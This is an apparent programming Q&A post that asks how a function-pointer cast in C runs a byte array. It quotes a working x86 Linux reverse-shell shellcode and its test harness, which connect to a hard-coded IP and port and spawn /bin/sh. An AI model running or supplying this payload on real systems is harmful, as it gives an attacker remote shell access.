title: What does int (*ret)() = (int(*)())code mean?
body: <p>Here is a copy of code from shellstorm:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  /*
  ipaddr 192.168.1.10 (c0a8010a)
  port 31337 (7a69) 
  */
  #define IPADDR "\xc0\xa8\x01\x0a"
  #define PORT "\x7a\x69"
  
  unsigned char code[] =
  "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
  "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
  "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
  "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
  IPADDR"\x66\x68"PORT"\x66\x53\xfe"
  "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
  "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
  "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
  "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
  "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
  "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
  "\x80";
  
  main() 
  {
   printf("Shellcode Length: %d\n", sizeof(code)-1);
   int (*ret)() = (int(*)())code;
   ret();
  }
  </code></pre>
  
  <p>Could anyone help me explain this one "int (<em>ret)() = (int(</em>)())code;" ? 
  How does it work? Why it can make the code above run?</p>